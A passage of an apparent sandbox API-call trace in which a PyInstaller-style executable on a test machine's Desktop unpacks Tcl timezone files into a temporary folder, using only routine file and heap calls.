returned 0x5adfd0 [0040.144] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f8fd0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.145] htonl (hostlong=0xab000000) returned 0xab [0040.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0040.145] htonl (hostlong=0xab000000) returned 0xab [0040.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.145] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.145] htonl (hostlong=0xee000000) returned 0xee [0040.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xee) returned 0x550600 [0040.145] htonl (hostlong=0xab000000) returned 0xab [0040.145] htonl (hostlong=0xee000000) returned 0xee [0040.145] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.146] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.146] CloseHandle (hObject=0x10c) returned 1 [0040.146] GetLastError () returned 0x0 [0040.146] SetLastError (dwErrCode=0x0) [0040.146] GetLastError () returned 0x0 [0040.146] SetLastError (dwErrCode=0x0) [0040.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.146] GetFileType (hFile=0x10c) returned 0x1 [0040.146] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.146] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.146] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.146] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.146] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.146] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.146] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.146] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.146] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.146] CloseHandle (hObject=0x10c) returned 1 [0040.146] GetLastError () returned 0x0 [0040.146] SetLastError (dwErrCode=0x0) [0040.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.147] GetFileType (hFile=0x10c) returned 0x1 [0040.147] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.147] CloseHandle (hObject=0x10c) returned 1 [0040.147] GetLastError () returned 0x0 [0040.147] SetLastError (dwErrCode=0x0) [0040.147] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.147] GetFileType (hFile=0x10c) returned 0x1 [0040.147] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.147] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.147] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.147] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.148] CloseHandle (hObject=0x10c) returned 1 [0040.148] GetLastError () returned 0x0 [0040.148] SetLastError (dwErrCode=0x0) [0040.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ho_Chi_Minh") returned 73 [0040.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ho_Chi_Minh" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ho_chi_minh"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.148] GetLastError () returned 0x2 [0040.148] SetLastError (dwErrCode=0x2) [0040.148] GetLastError () returned 0x2 [0040.148] SetLastError (dwErrCode=0x2) [0040.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ho_Chi_Minh", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ho_Chi_Minh", lpFilePart=0x0) returned 0x48 [0040.148] GetLastError () returned 0x2 [0040.148] SetLastError (dwErrCode=0x2) [0040.148] GetLastError () returned 0x2 [0040.148] SetLastError (dwErrCode=0x2) [0040.148] GetLastError () returned 0x2 [0040.148] SetLastError (dwErrCode=0x2) [0040.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ho_Chi_Minh") returned 73 [0040.148] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.148] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ho_Chi_Minh" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ho_chi_minh"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.148] GetFileType (hFile=0x10c) returned 0x1 [0040.148] htonl (hostlong=0xee000000) returned 0xee [0040.148] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.148] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xee, lpOverlapped=0x0) returned 1 [0040.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.149] CloseHandle (hObject=0x10c) returned 1 [0040.149] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.149] htonl (hostlong=0x30000000) returned 0x30 [0040.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.149] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.150] GetFileType (hFile=0x10c) returned 0x1 [0040.150] htonl (hostlong=0x7be05a00) returned 0x5ae07b [0040.150] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f907b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.150] htonl (hostlong=0x1020000) returned 0x201 [0040.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x201) returned 0x550600 [0040.150] htonl (hostlong=0x1020000) returned 0x201 [0040.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.150] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.150] htonl (hostlong=0x66080000) returned 0x866 [0040.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x866) returned 0x55e278 [0040.150] htonl (hostlong=0x1020000) returned 0x201 [0040.150] htonl (hostlong=0x66080000) returned 0x866 [0040.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.150] CloseHandle (hObject=0x10c) returned 1 [0040.150] GetLastError () returned 0x0 [0040.150] SetLastError (dwErrCode=0x0) [0040.150] GetLastError () returned 0x0 [0040.150] SetLastError (dwErrCode=0x0) [0040.150] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.150] GetFileType (hFile=0x10c) returned 0x1 [0040.151] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.151] CloseHandle (hObject=0x10c) returned 1 [0040.151] GetLastError () returned 0x0 [0040.151] SetLastError (dwErrCode=0x0) [0040.151] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.151] GetFileType (hFile=0x10c) returned 0x1 [0040.151] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.151] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.151] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.151] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.151] CloseHandle (hObject=0x10c) returned 1 [0040.152] GetLastError () returned 0x0 [0040.152] SetLastError (dwErrCode=0x0) [0040.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.152] GetFileType (hFile=0x10c) returned 0x1 [0040.152] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.152] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.152] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.152] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.152] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.152] CloseHandle (hObject=0x10c) returned 1 [0040.152] GetLastError () returned 0x0 [0040.152] SetLastError (dwErrCode=0x0) [0040.152] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hong_Kong") returned 71 [0040.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hong_Kong" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\hong_kong"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.152] GetLastError () returned 0x2 [0040.152] SetLastError (dwErrCode=0x2) [0040.152] GetLastError () returned 0x2 [0040.152] SetLastError (dwErrCode=0x2) [0040.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hong_Kong", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hong_Kong", lpFilePart=0x0) returned 0x46 [0040.152] GetLastError () returned 0x2 [0040.153] SetLastError (dwErrCode=0x2) [0040.153] GetLastError () returned 0x2 [0040.153] SetLastError (dwErrCode=0x2) [0040.153] GetLastError () returned 0x2 [0040.153] SetLastError (dwErrCode=0x2) [0040.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hong_Kong") returned 71 [0040.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hong_Kong" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\hong_kong"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.154] GetFileType (hFile=0x10c) returned 0x1 [0040.154] htonl (hostlong=0x66080000) returned 0x866 [0040.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.154] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x866, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x866, lpOverlapped=0x0) returned 1 [0040.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.172] CloseHandle (hObject=0x10c) returned 1 [0040.172] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.172] htonl (hostlong=0x30000000) returned 0x30 [0040.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.172] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.172] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.172] GetFileType (hFile=0x10c) returned 0x1 [0040.172] htonl (hostlong=0x7ce25a00) returned 0x5ae27c [0040.172] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f927c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.172] htonl (hostlong=0x8f010000) returned 0x18f [0040.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x18f) returned 0x550600 [0040.172] htonl (hostlong=0x8f010000) returned 0x18f [0040.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.173] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.173] htonl (hostlong=0xc8050000) returned 0x5c8 [0040.173] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5c8) returned 0x55e278 [0040.173] htonl (hostlong=0x8f010000) returned 0x18f [0040.173] htonl (hostlong=0xc8050000) returned 0x5c8 [0040.173] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.173] HeapFree (in: hHeap=0x530000, 